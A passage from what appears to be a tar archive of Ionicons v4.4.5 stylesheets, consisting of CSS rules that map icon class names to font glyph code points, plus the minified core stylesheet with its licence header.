"\f2d1"; } .ion-md-color-palette:before { content: "\f2d2"; } .ion-md-color-wand:before { content: "\f2d3"; } .ion-md-compass:before { content: "\f2d4"; } .ion-md-construct:before { content: "\f2d5"; } .ion-md-contact:before { content: "\f2d6"; } .ion-md-contacts:before { content: "\f2d7"; } .ion-md-contract:before { content: "\f2d8"; } .ion-md-contrast:before { content: "\f2d9"; } .ion-md-copy:before { content: "\f2da"; } .ion-md-create:before { content: "\f2db"; } .ion-md-crop:before { content: "\f2dc"; } .ion-md-cube:before { content: "\f2dd"; } .ion-md-cut:before { content: "\f2de"; } .ion-md-desktop:before { content: "\f2df"; } .ion-md-disc:before { content: "\f2e0"; } .ion-md-document:before { content: "\f2e1"; } .ion-md-done-all:before { content: "\f2e2"; } .ion-md-download:before { content: "\f2e3"; } .ion-md-easel:before { content: "\f2e4"; } .ion-md-egg:before { content: "\f2e5"; } .ion-md-exit:before { content: "\f2e6"; } .ion-md-expand:before { content: "\f2e7"; } .ion-md-eye:before { content: "\f2e9"; } .ion-md-eye-off:before { content: "\f2e8"; } .ion-md-fastforward:before { content: "\f2ea"; } .ion-md-female:before { content: "\f2eb"; } .ion-md-filing:before { content: "\f2ec"; } .ion-md-film:before { content: "\f2ed"; } .ion-md-finger-print:before { content: "\f2ee"; } .ion-md-fitness:before { content: "\f1ac"; } .ion-md-flag:before { content: "\f2ef"; } .ion-md-flame:before { content: "\f2f0"; } .ion-md-flash:before { content: "\f2f1"; } .ion-md-flash-off:before { content: "\f169"; } .ion-md-flashlight:before { content: "\f16b"; } .ion-md-flask:before { content: "\f2f2"; } .ion-md-flower:before { content: "\f2f3"; } .ion-md-folder:before { content: "\f2f5"; } .ion-md-folder-open:before { content: "\f2f4"; } .ion-md-football:before { content: "\f2f6"; } .ion-md-funnel:before { content: "\f2f7"; } .ion-md-gift:before { content: "\f199"; } .ion-md-git-branch:before { content: "\f2fa"; } .ion-md-git-commit:before { content: "\f2fb"; } .ion-md-git-compare:before { content: "\f2fc"; } .ion-md-git-merge:before { content: "\f2fd"; } .ion-md-git-network:before { content: "\f2fe"; } .ion-md-git-pull-request:before { content: "\f2ff"; } .ion-md-glasses:before { content: "\f300"; } .ion-md-globe:before { content: "\f301"; } .ion-md-grid:before { content: "\f302"; } .ion-md-hammer:before { content: "\f303"; } .ion-md-hand:before { content: "\f304"; } .ion-md-happy:before { content: "\f305"; } .ion-md-headset:before { content: "\f306"; } .ion-md-heart:before { content: "\f308"; } .ion-md-heart-dislike:before { content: "\f167"; } .ion-md-heart-empty:before { content: "\f1a1"; } .ion-md-heart-half:before { content: "\f1a2"; } .ion-md-help:before { content: "\f30b"; } .ion-md-help-buoy:before { content: "\f309"; } .ion-md-help-circle:before { content: "\f30a"; } .ion-md-help-circle-outline:before { content: "\f16d"; } .ion-md-home:before { content: "\f30c"; } .ion-md-hourglass:before { content: "\f111"; } .ion-md-ice-cream:before { content: "\f30d"; } .ion-md-image:before { content: "\f30e"; } .ion-md-images:before { content: "\f30f"; } .ion-md-infinite:before { content: "\f310"; } .ion-md-information:before { content: "\f312"; } .ion-md-information-circle:before { content: "\f311"; } .ion-md-information-circle-outline:before { content: "\f16f"; } .ion-md-jet:before { content: "\f315"; } .ion-md-journal:before { content: "\f18d"; } .ion-md-key:before { content: "\f316"; } .ion-md-keypad:before { content: "\f317"; } .ion-md-laptop:before { content: "\f318"; } .ion-md-leaf:before { content: "\f319"; } .ion-md-link:before { content: "\f22e"; } .ion-md-list:before { content: "\f31b"; } .ion-md-list-box:before { content: "\f31a"; } .ion-md-locate:before { content: "\f31c"; } .ion-md-lock:before { content: "\f31d"; } .ion-md-log-in:before { content: "\f31e"; } .ion-md-log-out:before { content: "\f31f"; } .ion-md-magnet:before { content: "\f320"; } .ion-md-mail:before { content: "\f322"; } .ion-md-mail-open:before { content: "\f321"; } .ion-md-mail-unread:before { content: "\f172"; } .ion-md-male:before { content: "\f323"; } .ion-md-man:before { content: "\f324"; } .ion-md-map:before { content: "\f325"; } .ion-md-medal:before { content: "\f326"; } .ion-md-medical:before { content: "\f327"; } .ion-md-medkit:before { content: "\f328"; } .ion-md-megaphone:before { content: "\f329"; } .ion-md-menu:before { content: "\f32a"; } .ion-md-mic:before { content: "\f32c"; } .ion-md-mic-off:before { content: "\f32b"; } .ion-md-microphone:before { content: "\f32d"; } .ion-md-moon:before { content: "\f32e"; } .ion-md-more:before { content: "\f1c9"; } .ion-md-move:before { content: "\f331"; } .ion-md-musical-note:before { content: "\f332"; } .ion-md-musical-notes:before { content: "\f333"; } .ion-md-navigate:before { content: "\f334"; } .ion-md-notifications:before { content: "\f338"; } .ion-md-notifications-off:before { content: "\f336"; } .ion-md-notifications-outline:before { content: "\f337"; } .ion-md-nuclear:before { content: "\f339"; } .ion-md-nutrition:before { content: "\f33a"; } .ion-md-open:before { content: "\f33b"; } .ion-md-options:before { content: "\f33c"; } .ion-md-outlet:before { content: "\f33d"; } .ion-md-paper:before { content: "\f33f"; } .ion-md-paper-plane:before { content: "\f33e"; } .ion-md-partly-sunny:before { content: "\f340"; } .ion-md-pause:before { content: "\f341"; } .ion-md-paw:before { content: "\f342"; } .ion-md-people:before { content: "\f343"; } .ion-md-person:before { content: "\f345"; } .ion-md-person-add:before { content: "\f344"; } .ion-md-phone-landscape:before { content: "\f346"; } .ion-md-phone-portrait:before { content: "\f347"; } .ion-md-photos:before { content: "\f348"; } .ion-md-pie:before { content: "\f349"; } .ion-md-pin:before { content: "\f34a"; } .ion-md-pint:before { content: "\f34b"; } .ion-md-pizza:before { content: "\f354"; } .ion-md-planet:before { content: "\f356"; } .ion-md-play:before { content: "\f357"; } .ion-md-play-circle:before { content: "\f174"; } .ion-md-podium:before { content: "\f358"; } .ion-md-power:before { content: "\f359"; } .ion-md-pricetag:before { content: "\f35a"; } .ion-md-pricetags:before { content: "\f35b"; } .ion-md-print:before { content: "\f35c"; } .ion-md-pulse:before { content: "\f35d"; } .ion-md-qr-scanner:before { content: "\f35e"; } .ion-md-quote:before { content: "\f35f"; } .ion-md-radio:before { content: "\f362"; } .ion-md-radio-button-off:before { content: "\f360"; } .ion-md-radio-button-on:before { content: "\f361"; } .ion-md-rainy:before { content: "\f363"; } .ion-md-recording:before { content: "\f364"; } .ion-md-redo:before { content: "\f365"; } .ion-md-refresh:before { content: "\f366"; } .ion-md-refresh-circle:before { content: "\f228"; } .ion-md-remove:before { content: "\f368"; } .ion-md-remove-circle:before { content: "\f367"; } .ion-md-remove-circle-outline:before { content: "\f176"; } .ion-md-reorder:before { content: "\f369"; } .ion-md-repeat:before { content: "\f36a"; } .ion-md-resize:before { content: "\f36b"; } .ion-md-restaurant:before { content: "\f36c"; } .ion-md-return-left:before { content: "\f36d"; } .ion-md-return-right:before { content: "\f36e"; } .ion-md-reverse-camera:before { content: "\f36f"; } .ion-md-rewind:before { content: "\f370"; } .ion-md-ribbon:before { content: "\f371"; } .ion-md-rocket:before { content: "\f179"; } .ion-md-rose:before { content: "\f372"; } .ion-md-sad:before { content: "\f373"; } .ion-md-save:before { content: "\f1a9"; } .ion-md-school:before { content: "\f374"; } .ion-md-search:before { content: "\f375"; } .ion-md-send:before { content: "\f376"; } .ion-md-settings:before { content: "\f377"; } .ion-md-share:before { content: "\f379"; } .ion-md-share-alt:before { content: "\f378"; } .ion-md-shirt:before { content: "\f37a"; } .ion-md-shuffle:before { content: "\f37b"; } .ion-md-skip-backward:before { content: "\f37c"; } .ion-md-skip-forward:before { content: "\f37d"; } .ion-md-snow:before { content: "\f37e"; } .ion-md-speedometer:before { content: "\f37f"; } .ion-md-square:before { content: "\f381"; } .ion-md-square-outline:before { content: "\f380"; } .ion-md-star:before { content: "\f384"; } .ion-md-star-half:before { content: "\f382"; } .ion-md-star-outline:before { content: "\f383"; } .ion-md-stats:before { content: "\f385"; } .ion-md-stopwatch:before { content: "\f386"; } .ion-md-subway:before { content: "\f387"; } .ion-md-sunny:before { content: "\f388"; } .ion-md-swap:before { content: "\f389"; } .ion-md-switch:before { content: "\f38a"; } .ion-md-sync:before { content: "\f38b"; } .ion-md-tablet-landscape:before { content: "\f38c"; } .ion-md-tablet-portrait:before { content: "\f38d"; } .ion-md-tennisball:before { content: "\f38e"; } .ion-md-text:before { content: "\f38f"; } .ion-md-thermometer:before { content: "\f390"; } .ion-md-thumbs-down:before { content: "\f391"; } .ion-md-thumbs-up:before { content: "\f392"; } .ion-md-thunderstorm:before { content: "\f393"; } .ion-md-time:before { content: "\f394"; } .ion-md-timer:before { content: "\f395"; } .ion-md-today:before { content: "\f17d"; } .ion-md-train:before { content: "\f396"; } .ion-md-transgender:before { content: "\f397"; } .ion-md-trash:before { content: "\f398"; } .ion-md-trending-down:before { content: "\f399"; } .ion-md-trending-up:before { content: "\f39a"; } .ion-md-trophy:before { content: "\f39b"; } .ion-md-tv:before { content: "\f17f"; } .ion-md-umbrella:before { content: "\f39c"; } .ion-md-undo:before { content: "\f39d"; } .ion-md-unlock:before { content: "\f39e"; } .ion-md-videocam:before { content: "\f39f"; } .ion-md-volume-high:before { content: "\f123"; } .ion-md-volume-low:before { content: "\f131"; } .ion-md-volume-mute:before { content: "\f3a1"; } .ion-md-volume-off:before { content: "\f3a2"; } .ion-md-walk:before { content: "\f3a4"; } .ion-md-wallet:before { content: "\f18f"; } .ion-md-warning:before { content: "\f3a5"; } .ion-md-watch:before { content: "\f3a6"; } .ion-md-water:before { content: "\f3a7"; } .ion-md-wifi:before { content: "\f3a8"; } .ion-md-wine:before { content: "\f3a9"; } .ion-md-woman:before { content: "\f3aa"; } css/ionicons-core.min.css000064400000070151151701353760011413 0ustar00/*! Ionicons, v4.4.5 Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */.ion-ios-add:before{content:"\f102"}.ion-ios-add-circle:before{content:"\f101"}.ion-ios-add-circle-outline:before{content:"\f100"}.ion-ios-airplane:before{content:"\f137"}.ion-ios-alarm:before{content:"\f3c8"}.ion-ios-albums:before{content:"\f3ca"}.ion-ios-alert:before{content:"\f104"}.ion-ios-american-football:before{content:"\f106"}.ion-ios-analytics:before{content:"\f3ce"}.ion-ios-aperture:before{content:"\f108"}.ion-ios-apps:before{content:"\f10a"}.ion-ios-appstore:before{content:"\f10c"}.ion-ios-archive:before{content:"\f10e"}.ion-ios-arrow-back:before{content:"\f3cf"}.ion-ios-arrow-down:before{content:"\f3d0"}.ion-ios-arrow-dropdown:before{content:"\f110"}.ion-ios-arrow-dropdown-circle:before{content:"\f125"}.ion-ios-arrow-dropleft:before{content:"\f112"}.ion-ios-arrow-dropleft-circle:before{content:"\f129"}.ion-ios-arrow-dropright:before{content:"\f114"}.ion-ios-arrow-dropright-circle:before{content:"\f12b"}.ion-ios-arrow-dropup:before{content:"\f116"}.ion-ios-arrow-dropup-circle:before{content:"\f12d"}.ion-ios-arrow-forward:before{content:"\f3d1"}.ion-ios-arrow-round-back:before{content:"\f117"}.ion-ios-arrow-round-down:before{content:"\f118"}.ion-ios-arrow-round-forward:before{content:"\f119"}.ion-ios-arrow-round-up:before{content:"\f11a"}.ion-ios-arrow-up:before{content:"\f3d8"}.ion-ios-at:before{content:"\f3da"}.ion-ios-attach:before{content:"\f11b"}.ion-ios-backspace:before{content:"\f11d"}.ion-ios-barcode:before{content:"\f3dc"}.ion-ios-baseball:before{content:"\f3de"}.ion-ios-basket:before{content:"\f11f"}.ion-ios-basketball:before{content:"\f3e0"}.ion-ios-battery-charging:before{content:"\f120"}.ion-ios-battery-dead:before{content:"\f121"}.ion-ios-battery-full:before{content:"\f122"}.ion-ios-beaker:before{content:"\f124"}.ion-ios-bed:before{content:"\f139"}.ion-ios-beer:before{content:"\f126"}.ion-ios-bicycle:before{content:"\f127"}.ion-ios-bluetooth:before{content:"\f128"}.ion-ios-boat:before{content:"\f12a"}.ion-ios-body:before{content:"\f3e4"}.ion-ios-bonfire:before{content:"\f12c"}.ion-ios-book:before{content:"\f3e8"}.ion-ios-bookmark:before{content:"\f12e"}.ion-ios-bookmarks:before{content:"\f3ea"}.ion-ios-bowtie:before{content:"\f130"}.ion-ios-briefcase:before{content:"\f3ee"}.ion-ios-browsers:before{content:"\f3f0"}.ion-ios-brush:before{content:"\f132"}.ion-ios-bug:before{content:"\f134"}.ion-ios-build:before{content:"\f136"}.ion-ios-bulb:before{content:"\f138"}.ion-ios-bus:before{content:"\f13a"}.ion-ios-business:before{content:"\f1a3"}.ion-ios-cafe:before{content:"\f13c"}.ion-ios-calculator:before{content:"\f3f2"}.ion-ios-calendar:before{content:"\f3f4"}.ion-ios-call:before{content:"\f13e"}.ion-ios-camera:before{content:"\f3f6"}.ion-ios-car:before{content:"\f140"}.ion-ios-card:before{content:"\f142"}.ion-ios-cart:before{content:"\f3f8"}.ion-ios-cash:before{content:"\f144"}.ion-ios-cellular:before{content:"\f13d"}.ion-ios-chatboxes:before{content:"\f3fa"}.ion-ios-chatbubbles:before{content:"\f146"}.ion-ios-checkbox:before{content:"\f148"}.ion-ios-checkbox-outline:before{content:"\f147"}.ion-ios-checkmark:before{content:"\f3ff"}.ion-ios-checkmark-circle:before{content:"\f14a"}.ion-ios-checkmark-circle-outline:before{content:"\f149"}.ion-ios-clipboard:before{content:"\f14c"}.ion-ios-clock:before{content:"\f403"}.ion-ios-close:before{content:"\f406"}.ion-ios-close-circle:before{content:"\f14e"}.ion-ios-close-circle-outline:before{content:"\f14d"}.ion-ios-cloud:before{content:"\f40c"}.ion-ios-cloud-circle:before{content:"\f152"}.ion-ios-cloud-done:before{content:"\f154"}.ion-ios-cloud-download:before{content:"\f408"}.ion-ios-cloud-outline:before{content:"\f409"}.ion-ios-cloud-upload:before{content:"\f40b"}.ion-ios-cloudy:before{content:"\f410"}.ion-ios-cloudy-night:before{content:"\f40e"}.ion-ios-code:before{content:"\f157"}.ion-ios-code-download:before{content:"\f155"}.ion-ios-code-working:before{content:"\f156"}.ion-ios-cog:before{content:"\f412"}.ion-ios-color-fill:before{content:"\f159"}.ion-ios-color-filter:before{content:"\f414"}.ion-ios-color-palette:before{content:"\f15b"}.ion-ios-color-wand:before{content:"\f416"}.ion-ios-compass:before{content:"\f15d"}.ion-ios-construct:before{content:"\f15f"}.ion-ios-contact:before{content:"\f41a"}.ion-ios-contacts:before{content:"\f161"}.ion-ios-contract:before{content:"\f162"}.ion-ios-contrast:before{content:"\f163"}.ion-ios-copy:before{content:"\f41c"}.ion-ios-create:before{content:"\f165"}.ion-ios-crop:before{content:"\f41e"}.ion-ios-cube:before{content:"\f168"}.ion-ios-cut:before{content:"\f16a"}.ion-ios-desktop:before{content:"\f16c"}.ion-ios-disc:before{content:"\f16e"}.ion-ios-document:before{content:"\f170"}.ion-ios-done-all:before{content:"\f171"}.ion-ios-download:before{content:"\f420"}.ion-ios-easel:before{content:"\f173"}.ion-ios-egg:before{content:"\f175"}.ion-ios-exit:before{content:"\f177"}.ion-ios-expand:before{content:"\f178"}.ion-ios-eye:before{content:"\f425"}.ion-ios-eye-off:before{content:"\f17a"}.ion-ios-fastforward:before{content:"\f427"}.ion-ios-female:before{content:"\f17b"}.ion-ios-filing:before{content:"\f429"}.ion-ios-film:before{content:"\f42b"}.ion-ios-finger-print:before{content:"\f17c"}.ion-ios-fitness:before{content:"\f1ab"}.ion-ios-flag:before{content:"\f42d"}.ion-ios-flame:before{content:"\f42f"}.ion-ios-flash:before{content:"\f17e"}.ion-ios-flash-off:before{content:"\f12f"}.ion-ios-flashlight:before{content:"\f141"}.ion-ios-flask:before{content:"\f431"}.ion-ios-flower:before{content:"\f433"}.ion-ios-folder:before{content:"\f435"}.ion-ios-folder-open:before{content:"\f180"}.ion-ios-football:before{content:"\f437"}.ion-ios-funnel:before{content:"\f182"}.ion-ios-gift:before{content:"\f191"}.ion-ios-git-branch:before{content:"\f183"}.ion-ios-git-commit:before{content:"\f184"}.ion-ios-git-compare:before{content:"\f185"}.ion-ios-git-merge:before{content:"\f186"}.ion-ios-git-network:before{content:"\f187"}.ion-ios-git-pull-request:before{content:"\f188"}.ion-ios-glasses:before{content:"\f43f"}.ion-ios-globe:before{content:"\f18a"}.ion-ios-grid:before{content:"\f18c"}.ion-ios-hammer:before{content:"\f18e"}.ion-ios-hand:before{content:"\f190"}.ion-ios-happy:before{content:"\f192"}.ion-ios-headset:before{content:"\f194"}.ion-ios-heart:before{content:"\f443"}.ion-ios-heart-dislike:before{content:"\f13f"}.ion-ios-heart-empty:before{content:"\f19b"}.ion-ios-heart-half:before{content:"\f19d"}.ion-ios-help:before{content:"\f446"}.ion-ios-help-buoy:before{content:"\f196"}.ion-ios-help-circle:before{content:"\f198"}.ion-ios-help-circle-outline:before{content:"\f197"}.ion-ios-home:before{content:"\f448"}.ion-ios-hourglass:before{content:"\f103"}.ion-ios-ice-cream:before{content:"\f19a"}.ion-ios-image:before{content:"\f19c"}.ion-ios-images:before{content:"\f19e"}.ion-ios-infinite:before{content:"\f44a"}.ion-ios-information:before{content:"\f44d"}.ion-ios-information-circle:before{content:"\f1a0"}.ion-ios-information-circle-outline:before{content:"\f19f"}.ion-ios-jet:before{content:"\f1a5"}.ion-ios-journal:before{content:"\f189"}.ion-ios-key:before{content:"\f1a7"}.ion-ios-keypad:before{content:"\f450"}.ion-ios-laptop:before{content:"\f1a8"}.ion-ios-leaf:before{content:"\f1aa"}.ion-ios-link:before{content:"\f22a"}.ion-ios-list:before{content:"\f454"}.ion-ios-list-box:before{content:"\f143"}.ion-ios-locate:before{content:"\f1ae"}.ion-ios-lock:before{content:"\f1b0"}.ion-ios-log-in:before{content:"\f1b1"}.ion-ios-log-out:before{content:"\f1b2"}.ion-ios-magnet:before{content:"\f1b4"}.ion-ios-mail:before{content:"\f1b8"}.ion-ios-mail-open:before{content:"\f1b6"}.ion-ios-mail-unread:before{content:"\f145"}.ion-ios-male:before{content:"\f1b9"}.ion-ios-man:before{content:"\f1bb"}.ion-ios-map:before{content:"\f1bd"}.ion-ios-medal:before{content:"\f1bf"}.ion-ios-medical:before{content:"\f45c"}.ion-ios-medkit:before{content:"\f45e"}.ion-ios-megaphone:before{content:"\f1c1"}.ion-ios-menu:before{content:"\f1c3"}.ion-ios-mic:before{content:"\f461"}.ion-ios-mic-off:before{content:"\f45f"}.ion-ios-microphone:before{content:"\f1c6"}.ion-ios-moon:before{content:"\f468"}.ion-ios-more:before{content:"\f1c8"}.ion-ios-move:before{content:"\f1cb"}.ion-ios-musical-note:before{content:"\f46b"}.ion-ios-musical-notes:before{content:"\f46c"}.ion-ios-navigate:before{content:"\f46e"}.ion-ios-notifications:before{content:"\f1d3"}.ion-ios-notifications-off:before{content:"\f1d1"}.ion-ios-notifications-outline:before{content:"\f133"}.ion-ios-nuclear:before{content:"\f1d5"}.ion-ios-nutrition:before{content:"\f470"}.ion-ios-open:before{content:"\f1d7"}.ion-ios-options:before{content:"\f1d9"}.ion-ios-outlet:before{content:"\f1db"}.ion-ios-paper:before{content:"\f472"}.ion-ios-paper-plane:before{content:"\f1dd"}.ion-ios-partly-sunny:before{content:"\f1df"}.ion-ios-pause:before{content:"\f478"}.ion-ios-paw:before{content:"\f47a"}.ion-ios-people:before{content:"\f47c"}.ion-ios-person:before{content:"\f47e"}.ion-ios-person-add:before{content:"\f1e1"}.ion-ios-phone-landscape:before{content:"\f1e2"}.ion-ios-phone-portrait:before{content:"\f1e3"}.ion-ios-photos:before{content:"\f482"}.ion-ios-pie:before{content:"\f484"}.ion-ios-pin:before{content:"\f1e5"}.ion-ios-pint:before{content:"\f486"}.ion-ios-pizza:before{content:"\f1e7"}.ion-ios-planet:before{content:"\f1eb"}.ion-ios-play:before{content:"\f488"}.ion-ios-play-circle:before{content:"\f113"}.ion-ios-podium:before{content:"\f1ed"}.ion-ios-power:before{content:"\f1ef"}.ion-ios-pricetag:before{content:"\f48d"}.ion-ios-pricetags:before{content:"\f48f"}.ion-ios-print:before{content:"\f1f1"}.ion-ios-pulse:before{content:"\f493"}.ion-ios-qr-scanner:before{content:"\f1f3"}.ion-ios-quote:before{content:"\f1f5"}.ion-ios-radio:before{content:"\f1f9"}.ion-ios-radio-button-off:before{content:"\f1f6"}.ion-ios-radio-button-on:before{content:"\f1f7"}.ion-ios-rainy:before{content:"\f495"}.ion-ios-recording:before{content:"\f497"}.ion-ios-redo:before{content:"\f499"}.ion-ios-refresh:before{content:"\f49c"}.ion-ios-refresh-circle:before{content:"\f135"}.ion-ios-remove:before{content:"\f1fc"}.ion-ios-remove-circle:before{content:"\f1fb"}.ion-ios-remove-circle-outline:before{content:"\f1fa"}.ion-ios-reorder:before{content:"\f1fd"}.ion-ios-repeat:before{content:"\f1fe"}.ion-ios-resize:before{content:"\f1ff"}.ion-ios-restaurant:before{content:"\f201"}.ion-ios-return-left:before{content:"\f202"}.ion-ios-return-right:before{content:"\f203"}.ion-ios-reverse-camera:before{content:"\f49f"}.ion-ios-rewind:before{content:"\f4a1"}.ion-ios-ribbon:before{content:"\f205"}.ion-ios-rocket:before{content:"\f14b"}.ion-ios-rose:before{content:"\f4a3"}.ion-ios-sad:before{content:"\f207"}.ion-ios-save:before{content:"\f1a6"}.ion-ios-school:before{content:"\f209"}.ion-ios-search:before{content:"\f4a5"}.ion-ios-send:before{content:"\f20c"}.ion-ios-settings:before{content:"\f4a7"}.ion-ios-share:before{content:"\f211"}.ion-ios-share-alt:before{content:"\f20f"}.ion-ios-shirt:before{content:"\f213"}.ion-ios-shuffle:before{content:"\f4a9"}.ion-ios-skip-backward:before{content:"\f215"}.ion-ios-skip-forward:before{content:"\f217"}.ion-ios-snow:before{content:"\f218"}.ion-ios-speedometer:before{content:"\f4b0"}.ion-ios-square:before{content:"\f21a"}.ion-ios-square-outline:before{content:"\f15c"}.ion-ios-star:before{content:"\f4b3"}.ion-ios-star-half:before{content:"\f4b1"}.ion-ios-star-outline:before{content:"\f4b2"}.ion-ios-stats:before{content:"\f21c"}.ion-ios-stopwatch:before{content:"\f4b5"}.ion-ios-subway:before{content:"\f21e"}.ion-ios-sunny:before{content:"\f4b7"}.ion-ios-swap:before{content:"\f21f"}.ion-ios-switch:before{content:"\f221"}.ion-ios-sync:before{content:"\f222"}.ion-ios-tablet-landscape:before{content:"\f223"}.ion-ios-tablet-portrait:before{content:"\f24e"}.ion-ios-tennisball:before{content:"\f4bb"}.ion-ios-text:before{content:"\f250"}.ion-ios-thermometer:before{content:"\f252"}.ion-ios-thumbs-down:before{content:"\f254"}.ion-ios-thumbs-up:before{content:"\f256"}.ion-ios-thunderstorm:before{content:"\f4bd"}.ion-ios-time:before{content:"\f4bf"}.ion-ios-timer:before{content:"\f4c1"}.ion-ios-today:before{content:"\f14f"}.ion-ios-train:before{content:"\f258"}.ion-ios-transgender:before{content:"\f259"}.ion-ios-trash:before{content:"\f4c5"}.ion-ios-trending-down:before{content:"\f25a"}.ion-ios-trending-up:before{content:"\f25b"}.ion-ios-trophy:before{content:"\f25d"}.ion-ios-tv:before{content:"\f115"}.ion-ios-umbrella:before{content:"\f25f"}.ion-ios-undo:before{content:"\f4c7"}.ion-ios-unlock:before{content:"\f261"}.ion-ios-videocam:before{content:"\f4cd"}.ion-ios-volume-high:before{content:"\f11c"}.ion-ios-volume-low:before{content:"\f11e"}.ion-ios-volume-mute:before{content:"\f263"}.ion-ios-volume-off:before{content:"\f264"}.ion-ios-walk:before{content:"\f266"}.ion-ios-wallet:before{content:"\f18b"}.ion-ios-warning:before{content:"\f268"}.ion-ios-watch:before{content:"\f269"}.ion-ios-water:before{content:"\f26b"}.ion-ios-wifi:before{content:"\f26d"}.ion-ios-wine:before{content:"\f26f"}.ion-ios-woman:before{content:"\f271"}.ion-logo-android:before{content:"\f225"}.ion-logo-angular:before{content:"\f227"}.ion-logo-apple:before{content:"\f229"}.ion-logo-bitbucket:before{content:"\f193"}.ion-logo-bitcoin:before{content:"\f22b"}.ion-logo-buffer:before{content:"\f22d"}.ion-logo-chrome:before{content:"\f22f"}.ion-logo-closed-captioning:before{content:"\f105"}.ion-logo-codepen:before{content:"\f230"}.ion-logo-css3:before{content:"\f231"}.ion-logo-designernews:before{content:"\f232"}.ion-logo-dribbble:before{content:"\f233"}.ion-logo-dropbox:before{content:"\f234"}.ion-logo-euro:before{content:"\f235"}.ion-logo-facebook:before{content:"\f236"}.ion-logo-flickr:before{content:"\f107"}.ion-logo-foursquare:before{content:"\f237"}.ion-logo-freebsd-devil:before{content:"\f238"}.ion-logo-game-controller-a:before{content:"\f13b"}.ion-logo-game-controller-b:before{content:"\f181"}.ion-logo-github:before{content:"\f239"}.ion-logo-google:before{content:"\f23a"}.ion-logo-googleplus:before{content:"\f23b"}.ion-logo-hackernews:before{content:"\f23c"}.ion-logo-html5:before{content:"\f23d"}.ion-logo-instagram:before{content:"\f23e"}.ion-logo-ionic:before{content:"\f150"}.ion-logo-ionitron:before{content:"\f151"}.ion-logo-javascript:before{content:"\f23f"}.ion-logo-linkedin:before{content:"\f240"}.ion-logo-markdown:before{content:"\f241"}.ion-logo-model-s:before{content:"\f153"}.ion-logo-no-smoking:before{content:"\f109"}.ion-logo-nodejs:before{content:"\f242"}.ion-logo-npm:before{content:"\f195"}.ion-logo-octocat:before{content:"\f243"}.ion-logo-pinterest:before{content:"\f244"}.ion-logo-playstation:before{content:"\f245"}.ion-logo-polymer:before{content:"\f15e"}.ion-logo-python:before{content:"\f246"}.ion-logo-reddit:before{content:"\f247"}.ion-logo-rss:before{content:"\f248"}.ion-logo-sass:before{content:"\f249"}.ion-logo-skype:before{content:"\f24a"}.ion-logo-slack:before{content:"\f10b"}.ion-logo-snapchat:before{content:"\f24b"}.ion-logo-steam:before{content:"\f24c"}.ion-logo-tumblr:before{content:"\f24d"}.ion-logo-tux:before{content:"\f2ae"}.ion-logo-twitch:before{content:"\f2af"}.ion-logo-twitter:before{content:"\f2b0"}.ion-logo-usd:before{content:"\f2b1"}.ion-logo-vimeo:before{content:"\f2c4"}.ion-logo-vk:before{content:"\f10d"}.ion-logo-whatsapp:before{content:"\f2c5"}.ion-logo-windows:before{content:"\f32f"}.ion-logo-wordpress:before{content:"\f330"}.ion-logo-xbox:before{content:"\f34c"}.ion-logo-xing:before{content:"\f10f"}.ion-logo-yahoo:before{content:"\f34d"}.ion-logo-yen:before{content:"\f34e"}.ion-logo-youtube:before{content:"\f34f"}.ion-md-add:before{content:"\f273"}.ion-md-add-circle:before{content:"\f272"}.ion-md-add-circle-outline:before{content:"\f158"}.ion-md-airplane:before{content:"\f15a"}.ion-md-alarm:before{content:"\f274"}.ion-md-albums:before{content:"\f275"}.ion-md-alert:before{content:"\f276"}.ion-md-american-football:before{content:"\f277"}.ion-md-analytics:before{content:"\f278"}.ion-md-aperture:before{content:"\f279"}.ion-md-apps:before{content:"\f27a"}.ion-md-appstore:before{content:"\f27b"}.ion-md-archive:before{content:"\f27c"}.ion-md-arrow-back:before{content:"\f27d"}.ion-md-arrow-down:before{content:"\f27e"}.ion-md-arrow-dropdown:before{content:"\f280"}.ion-md-arrow-dropdown-circle:before{content:"\f27f"}.ion-md-arrow-dropleft:before{content:"\f282"}.ion-md-arrow-dropleft-circle:before{content:"\f281"}.ion-md-arrow-dropright:before{content:"\f284"}.ion-md-arrow-dropright-circle:before{content:"\f283"}.ion-md-arrow-dropup:before{content:"\f286"}.ion-md-arrow-dropup-circle:before{content:"\f285"}.ion-md-arrow-forward:before{content:"\f287"}.ion-md-arrow-round-back:before{content:"\f288"}.ion-md-arrow-round-down:before{content:"\f289"}.ion-md-arrow-round-forward:before{content:"\f28a"}.ion-md-arrow-round-up:before{content:"\f28b"}.ion-md-arrow-up:before{content:"\f28c"}.ion-md-at:before{content:"\f28d"}.ion-md-attach:before{content:"\f28e"}.ion-md-backspace:before{content:"\f28f"}.ion-md-barcode:before{content:"\f290"}.ion-md-baseball:before{content:"\f291"}.ion-md-basket:before{content:"\f292"}.ion-md-basketball:before{content:"\f293"}.ion-md-battery-charging:before{content:"\f294"}.ion-md-battery-dead:before{content:"\f295"}.ion-md-battery-full:before{content:"\f296"}.ion-md-beaker:before{content:"\f297"}.ion-md-bed:before{content:"\f160"}.ion-md-beer:before{content:"\f298"}.ion-md-bicycle:before{content:"\f299"}.ion-md-bluetooth:before{content:"\f29a"}.ion-md-boat:before{content:"\f29b"}.ion-md-body:before{content:"\f29c"}.ion-md-bonfire:before{content:"\f29d"}.ion-md-book:before{content:"\f29e"}.ion-md-bookmark:before{content:"\f29f"}.ion-md-bookmarks:before{content:"\f2a0"}.ion-md-bowtie:before{content:"\f2a1"}.ion-md-briefcase:before{content:"\f2a2"}.ion-md-browsers:before{content:"\f2a3"}.ion-md-brush:before{content:"\f2a4"}.ion-md-bug:before{content:"\f2a5"}.ion-md-build:before{content:"\f2a6"}.ion-md-bulb:before{content:"\f2a7"}.ion-md-bus:before{content:"\f2a8"}.ion-md-business:before{content:"\f1a4"}.ion-md-cafe:before{content:"\f2a9"}.ion-md-calculator:before{content:"\f2aa"}.ion-md-calendar:before{content:"\f2ab"}.ion-md-call:before{content:"\f2ac"}.ion-md-camera:before{content:"\f2ad"}.ion-md-car:before{content:"\f2b2"}.ion-md-card:before{content:"\f2b3"}.ion-md-cart:before{content:"\f2b4"}.ion-md-cash:before{content:"\f2b5"}.ion-md-cellular:before{content:"\f164"}.ion-md-chatboxes:before{content:"\f2b6"}.ion-md-chatbubbles:before{content:"\f2b7"}.ion-md-checkbox:before{content:"\f2b9"}.ion-md-checkbox-outline:before{content:"\f2b8"}.ion-md-checkmark:before{content:"\f2bc"}